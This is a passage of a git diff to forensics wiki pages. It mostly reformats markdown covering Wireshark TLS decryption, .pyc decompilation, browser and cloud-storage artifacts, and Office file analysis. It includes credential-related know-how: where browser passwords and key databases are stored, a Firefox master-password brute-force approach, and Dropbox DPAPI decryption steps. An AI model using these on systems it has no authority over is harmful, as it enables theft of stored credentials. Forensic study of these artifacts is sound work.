show the Host HTTP header: -![](../../../.gitbook/assets/image%20%28405%29.png) +![](<../../../.gitbook/assets/image (403).png>) -And a column that add the Server name from an initiating HTTPS connection \(**ssl.handshake.type == 1**\): +And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): -![](../../../.gitbook/assets/image%20%28408%29.png) +![](<../../../.gitbook/assets/image (408) (1).png>) ## Identifying local hostnames @@ -91,11 +91,11 @@ And a column that add the Server name from an initiating HTTPS connection \(**ss In current Wireshark instead of `bootp` you need to search for `DHCP` -![](../../../.gitbook/assets/image%20%28409%29.png) +![](<../../../.gitbook/assets/image (404).png>) ### From NBNS -![](../../../.gitbook/assets/image%20%28406%29.png) +![](<../../../.gitbook/assets/image (405).png>) @@ -105,24 +105,24 @@ In current Wireshark instead of `bootp` you need to search for `DHCP` ### Decrypting https traffic with server private key -_edit>preference>protocol>ssl>_ +_edit>preference>protocol>ssl>_ -![](../../../.gitbook/assets/image%20%28263%29.png) +![](<../../../.gitbook/assets/image (98).png>) -Press _Edit_ and add all the data of the server and the private key \(_IP, Port, Protocol, Key file and password_\) +Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) ### Decrypting https traffic with symmetric session keys -It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) +It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ To detect this search inside the environment for to variable `SSLKEYLOGFILE` A file of shared keys will looks like this: -![](../../../.gitbook/assets/image%20%2862%29.png) +![](<../../../.gitbook/assets/image (99).png>) -To import this in wireshark go to _edit>preference>protocol>ssl>_ and import it in \(Pre\)-Master-Secret log filename: +To import this in wireshark go to _edit>preference>protocol>ssl> _and import it in (Pre)-Master-Secret log filename: -![](../../../.gitbook/assets/image%20%28191%29.png) +![](<../../../.gitbook/assets/image (100).png>) ## ADB communication @@ -155,5 +155,3 @@ f.write(all_bytes) f.close() ``` - - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index cefcc600..268378cb 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -2,21 +2,21 @@ ## Getting the code -For the .pyc binaries \("compiled" python\) you should start trying to **extract** the **original** **python** **code**: +For the .pyc binaries ("compiled" python) you should start trying to **extract** the **original** **python** **code**: ```bash uncompyle6 binary.pyc > decompiled.py ``` -**Be sure** that the binary has the **extension** "**.pyc**" \(if not, uncompyle6 is not going to work\) +**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) After extracting it, it will be more easy to analyze. ## Analyzing python assembly -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** \(but i**t isn't very descriptive**, so **try** to extract **again** the original code\). +If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code). -In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **dissasemble** the _.pyc_ binary \(good luck understanding the code flow\). If the _.pyc_ is from python2, use python2: +In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **dissasemble** the_ .pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: ```bash >>> import dis @@ -60,4 +60,3 @@ True 14 LOAD_CONST 0 (None) 17 RETURN_VALUE ``` - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index bf7d961a..ea88c7b7 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,36 +1,36 @@ # Browser Artifacts -## Browsers Artefacts +## Browsers Artefacts When we talk about browser artefacts we talk about, navigation history, bookmarks, list of downloaded files, cache data…etc. These artefacts are files stored inside of specific folders in the operating system. -Each browser stores its files in a different place than other browsers and they all have different names, but they all store \(most of the time\) the same type of data \(artefacts\). +Each browser stores its files in a different place than other browsers and they all have different names, but they all store (most of the time) the same type of data (artefacts). Let us take a look at the most common artefacts stored by browsers. * **Navigation History :** Contains data about the navigation history of the user. Can be used to track down if the user has visited some malicious sites for example -* **Autocomplete Data :** This is the data that the browser suggest based on what you search the most. Can be used in tandem with the navigation history to get more insight. -* **Bookmarks :** Self Explanatory. -* **Extensions and Addons :** Self Explanatory. -* **Cache :** When navigating websites, the browser creates all sorts of cache data \(images, javascript files…etc\) for many reasons. For example to speed loading time of websites. These cache files can be a great source of data during a forensic investigation. -* **Logins :** Self Explanatory. +* **Autocomplete Data : **This is the data that the browser suggest based on what you search the most. Can be used in tandem with the navigation history to get more insight. +* **Bookmarks : **Self Explanatory. +* **Extensions and Addons : **Self Explanatory. +* **Cache : **When navigating websites, the browser creates all sorts of cache data (images, javascript files…etc) for many reasons. For example to speed loading time of websites. These cache files can be a great source of data during a forensic investigation. +* **Logins : **Self Explanatory. * **Favicons :** They are the little icons found in tabs, urls, bookmarks and the such. They can be used as another source to get more information about the website or places the user visited. -* **Browser Sessions :** Self Explanatory. +* **Browser Sessions : **Self Explanatory. * **Downloads :**Self Explanatory. -* **Form Data :** Anything typed inside forms is often times stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. -* **Thumbnails :** Self Explanatory. +* **Form Data : **Anything typed inside forms is often times stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. +* **Thumbnails : **Self Explanatory. ## Firefox -Firefox use to create the profiles folder in ~/_**.mozilla/firefox/**_ \(Linux\), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** \(MacOS\), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\**_ \(Windows\)_**.**_ -Inside this folder, the file _**profiles.ini**_ should appear with the name\(s\) of the used profile\(s\). -Each profile has a "**Path**" variable with the name of the folder where it's data is going to be stored. The folder should be **present in the same directory where the** _**profiles.ini**_ **exist**. If it isn't, then, probably it was deleted. +Firefox use to create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\ **_(Windows)_**.**_\ +Inside this folder, the file _**profiles.ini**_ should appear with the name(s) of the used profile(s).\ +Each profile has a "**Path**" variable with the name of the folder where it's data is going to be stored. The folder should be** present in the same directory where the **_**profiles.ini**_** exist**. If it isn't, then, probably it was deleted. -Inside the folder **of each profile** \(_~/.mozilla/firefox/<ProfileName>/_\) path you should be able to find the following interesting files: +Inside the folder **of each profile **(_\~/.mozilla/firefox/\/_) path you should be able to find the following interesting files: -* _**places.sqlite**_ : History \(moz_\__places\), bookmarks \(moz\_bookmarks\), and downloads \(moz_\__annos\). In windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used to read the history inside _**places.sqlite**_. +* _**places.sqlite**_ : History (moz_\__places), bookmarks (moz_bookmarks), and downloads (moz_\__annos). In windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used to read the history inside _**places.sqlite**_. * Query to dump history: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` * Note that the link type is a number that indicates: * 1: User followed a link @@ -42,29 +42,28 @@ Inside the folder **of each profile** \(_~/.mozilla/firefox/<ProfileName>/ * 7: Downloaded file * 8: User followed a link inside an Iframe * Query to dump downloads: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` - * + * * _**bookmarkbackups/**_ : Bookmarks backups -* _**formhistory.sqlite**_ : **Web form data** \(like emails\) -* _**handlers.json**_ : Protocol handlers \(like, which app is going to handle _mailto://_ protocol\) +* _**formhistory.sqlite**_ : **Web form data **(like emails) +* _**handlers.json**_ : Protocol handlers (like, which app is going to handle _mailto://_ protocol) * _**persdict.dat**_ : Words added to the dictionary -* _**addons.json**_ and _**extensions.sqlite**_ : Installed addons and extensions -* _**cookies.sqlite**_ : Contains **cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) ****can be used in Windows to inspect this file. -* _**cache2/entries**_ or _**startupCache**_ : Cache data \(~350MB\). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) can be used to see the **files saved in the cache**. +* _**addons.json**_ and _**extensions.sqlite** _: Installed addons and extensions +* _**cookies.sqlite**_ : Contains **cookies. **[**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html)** **can be used in Windows to inspect this file. +* _**cache2/entries**_ or _**startupCache **_: Cache data (\~350MB). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) can be used to see the **files saved in the cache**. - Information that can be obtained: - - * URL, fetch Count, Filename, Content type, FIle size, Last modified time, Last fetched time, Server Last Modified, Server Response + Information that can be obtained: + * URL, fetch Count, Filename, Content type, FIle size, Last modified time, Last fetched time, Server Last Modified, Server Response * _**favicons.sqlite**_ : Favicons * _**prefs.js**_ : Settings and Preferences -* _**downloads.sqlite**_ : Old downloads database \(now it's inside places.sqlite\) +* _**downloads.sqlite**_ : Old downloads database (now it's inside places.sqlite) * _**thumbnails/**_ : Thumbnails * _**logins.json**_ : Encrypted usernames and passwords -* **Browser’s built-in anti-phishing:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` +* **Browser’s built-in anti-phishing: **`grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` * Will return “safebrowsing.malware.enabled” and “phishing.enabled” as false if the safe search settings have been disabled * _**key4.db**_ or _**key3.db**_ : Master key ? -In order to try to decrypt the master password you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox_decrypt) +In order to try to decrypt the master password you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ With the following script and call you can specify a password file to bruteforce: {% code title="brute.sh" %} @@ -80,14 +79,14 @@ done < $passfile ``` {% endcode %} -![](../../../.gitbook/assets/image%20%2873%29.png) +![](<../../../.gitbook/assets/image (417).png>) ## Google Chrome -Google Chrome creates the profile inside the home of the user _**~/.config/google-chrome/**_ \(Linux\), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\**_ \(Windows\), or in _**/Users/$USER/Library/Application Support/Google/Chrome/**_ \(MacOS\). +Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in _**/Users/$USER/Library/Application Support/Google/Chrome/** _(MacOS).\ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefaultData/**_ folders inside the paths indicated before. Inside here you can find the following interesting files: -* _**History**_ : URLs, downloads and even searched keywords. In Windows you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) to read the history. The "Transition Type" column means: +* _**History **_: URLs, downloads and even searched keywords. In Windows you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) to read the history. The "Transition Type" column means: * Link: User clicked on a link * Typed: The url was written * Auto Bookmark @@ -95,39 +94,39 @@ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefa * Start page: Home page * Form Submit: A form was filled and sent * Reloaded -* _**Cookies**_ : Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) can be used to inspect the cookies. -* _**Cache**_ : Cache. In Windows you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) to inspect the ca -* _**Bookmarks**_ : **** Bookmarks +* _**Cookies **_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) can be used to inspect the cookies. +* _**Cache **_: Cache. In Windows you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) to inspect the ca +* _**Bookmarks **_:** ** Bookmarks * _**Web Data**_ : Form History -* _**Favicons**_ : Favicons -* _**Login Data**_ : Login information \(usernames, passwords...\) +* _**Favicons **_: Favicons +* _**Login Data**_ : Login information (usernames, passwords...) * _**Current Session**_ and _**Current Tabs**_ : Current session data and current tabs * _**Last Session**_ and _**Last Tabs**_ : These files hold sites that were active in the browser when Chrome was last closed. * _**Extensions/**_ : Extensions and addons folder * **Thumbnails** : Thumbnails * **Preferences**: This file contains a plethora of good information such as plugins, extensions, sites using geolocation, popups, notifications, DNS prefetching, certificate exceptions, and much more. If you’re trying to research whether or not a specific Chrome setting was enabled, you will likely find that setting in here. -* **Browser’s built-in anti-phishing:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` +* **Browser’s built-in anti-phishing: **`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` * You can simply grep for “**safebrowsing**” and look for `{"enabled: true,"}` in the result to indicate anti-phishing and malware protection is on. ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to** recover deleted entries using the tool **[**sqlparse**](https://github.com/padfoot999/sqlparse)** or **[**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** Internet Explorer stores **data** and **metadata** in different locations. The metadata will allow to find the data. -The **metadata** can be found in the folder`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` where VX can be V01, V16 o V24. +The **metadata** can be found in the folder`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` where VX can be V01, V16 o V24.\ In the previous folder you can also find the file V01.log. In case the **modified time** of this file and the WebcacheVX.data file **are different** you may need to run the command `esentutl /r V01 /d` to **fix** possible **incompatibilities**. -Once **recovered** this artifact \(It's an ESE database, photorec can recover it with the options Exchange Database or EDB\) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. +Once **recovered** this artifact (It's an ESE database, photorec can recover it with the options Exchange Database or EDB) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it.\ Once **opened**, go to the table "**Containers**". -![](../../../.gitbook/assets/image%20%28447%29.png) +![](<../../../.gitbook/assets/image (446).png>) Inside this table you can find in which other tables or containers each part of the stored information is saved. Following that you can find the **locations of the data** stored by the browsers **and metadata** about that data inside the . -**Note that this table indicate also metadadata of the cache of other Microsoft tools also \(e.g. skype\)** +**Note that this table indicate also metadadata of the cache of other Microsoft tools also (e.g. skype)** ### Cache @@ -150,7 +149,7 @@ The metadata information about the cache stores: The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ -The information inside these folders is a **snapshot of what the user was seeing**. The caches has a size of **250 MB** and the timestamps indicate when the page was visited \(first time, creation date of the NTFS, last time, modification time of the NTFS\). +The information inside these folders is a **snapshot of what the user was seeing**. The caches has a size of **250 MB** and the timestamps indicate when the page was visited (first time, creation date of the NTFS, last time, modification time of the NTFS). ### Cookies @@ -180,7 +179,7 @@ Session cookies will reside in memory and persistent cookie in the disk. Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) you can find the container with the metadata of the downloads: -![](../../../.gitbook/assets/image%20%28445%29.png) +![](<../../../.gitbook/assets/image (445).png>) Getting the information of the column "ResponseHeaders" you can transform from hex that information and obtain the URL, the file type and the location of the downloaded file. @@ -200,7 +199,7 @@ The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_vi #### **Files** -Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ +Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5 **_and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ ### **Typed URLs** @@ -213,19 +212,19 @@ This information can be found inside the registry NTDUSER.DAT in the path: ## Microsoft Edge -For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section \(IE 11\) remain valid** with the only difference that the base locating in this case is _**%userprofile%\Appdata\Local\Packages**_ \(as can be observed in the following paths\): +For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid **with the only difference that the base locating in this case is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): -* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ +* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC**_ * History, Cookies and Downloads: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\#!XXX\MicrosoftEdge\Cache**_ -* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ +* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache**_ +* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ ## **Safari** The databases can be found in `/Users/$User/Library/Safari` -* **History.db**: The tables `history_visits` _and_ `history_items` contains information about the history and timestamps. +* **History.db**: The tables `history_visits`_ and _`history_items` contains information about the history and timestamps. * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` * **Downloads.plist**: Contains the info about the downloaded files. * **Book-marks.plis**t: URLs bookmarked. @@ -237,7 +236,7 @@ The databases can be found in `/Users/$User/Library/Safari` * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` * **LastSession.plist**: Tabs that were opened the last time the user exited Safari. * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Browser’s built-in anti-phishing:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` +* **Browser’s built-in anti-phishing: **`defaults read com.apple.Safari WarnAboutFraudulentWebsites` * The reply should be 1 to indicate the setting is active ## Opera @@ -246,6 +245,5 @@ The databases can be found in `/Users/$USER/Library/Application Support/com.oper Opera **stores browser history and download data in the exact same format as Google Chrome**. This applies to the file names as well as the table names. -* **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` - * **fraud\_protection\_enabled** should be **true** - +* **Browser’s built-in anti-phishing: **`grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` + * **fraud_protection_enabled** should be **true** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 30f79139..5ceb9b4e 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,7 +2,7 @@ ## OneDrive -In Windows you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive` +In Windows you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`\ And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: * Size in bytes @@ -14,22 +14,22 @@ And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` * Report generation time * Size of the HD of the OS -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**<CID>.ini**_ and _**<CID>.dat**_ that may contain interesting information like the names of files syncronized with OneDrive. +Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files syncronized with OneDrive. ## Google Drive -In Widows you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default` -This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files... +In Widows you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ +This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files...\ Even deleted files appears in that log file with it's corresponding MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`** +The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**\ In this table you can find: the **name** of the **synchronized** **files**, modified time, size, MD5 checksum of the files. The table data of the database **`Sync_config.db`** contains the email address of the account, path of the shared folders and Google Drive version. ## Dropbox -Dropbox uses **SQLite databases** to mange the files. In this +Dropbox uses **SQLite databases** to mange the files. In this \ You can find the databases in the folders: * `\Users\\AppData\Local\Dropbox` @@ -43,7 +43,7 @@ And the main databases are: * Deleted.dbx * Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** \([https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355%28v=msdn.10%29?redirectedfrom=MSDN)\) +The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) In order to understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). @@ -56,16 +56,16 @@ However, the main information is: Apart from that information, in order to decrypt the databases you still need: -* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` \(export this data as binary\) +* The** encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) * The **`SYSTEM`** and **`SECURITY`** hives * The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` * The **username** and **password** of the Windows user Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** -![](../../../.gitbook/assets/image%20%28448%29.png) +![](<../../../.gitbook/assets/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key%28%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D%29) putting the primary key as the "passphrase" inside the receipt. +If everything goes as expected, the tool will indicate the** primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. The resulting hex is the final key used to encrypt the databases which can be decrypted with: @@ -77,22 +77,21 @@ The **`config.dbx`** database contains: * **Email**: The email of the user * **usernamedisplayname**: The name of the user -* **dropbox\_path**: Path where the dropbox folder is located -* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -* **Root\_ns**: User identifier +* **dropbox_path**: Path where the dropbox folder is located +* **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. +* **Root_ns**: User identifier The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: -* **Server\_path**: Path where the file is located inside the server \(this path is preceded by the `host_id` of the client\) . -* **local\_sjid**: Version of the file -* **local\_mtime**: Modification date -* **local\_ctime**: Creation date +* **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client) . +* **local_sjid**: Version of the file +* **local_mtime**: Modification date +* **local_ctime**: Creation date Other tables inside this database contain more interesting information: -* **block\_cache**: hash of all the files and folder of Dropbox -* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -* **mount\_table**: Share folders of dropbox -* **deleted\_fields**: Dropbox deleted files -* **date\_added** - +* **block_cache**: hash of all the files and folder of Dropbox +* **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` +* **mount_table**: Share folders of dropbox +* **deleted_fields**: Dropbox deleted files +* **date_added** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 04342b6b..28d4aafb 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,11 +2,11 @@ ## Introduction -Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** \(VBA scripts\). +Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros **(VBA scripts). -Broadly speaking, there are two generations of Office file format: the **OLE formats** \(file extensions like RTF, DOC, XLS, PPT\), and the "**Office Open XML**" formats \(file extensions that include DOCX, XLSX, PPTX\). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** \(Objects\). OOXML files are actually zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: +Broadly speaking, there are two generations of Office file format: the** OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are actually zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: -```text +``` $ unzip example.docx Archive: example.docx inflating: [Content_Types].xml @@ -47,13 +47,13 @@ $ tree └── webSettings.xml ``` -As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%253A10.1007%252F978-3-642-23300-5_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5_27&token2=exp=1497911340~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5_27*~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones. +As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones. -Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com/) is a very powerful analysis framework \(and Python library\). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/_sources/txt/ANALYZING_OOXML.txt). +Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING_OOXML.txt). -Sometimes the 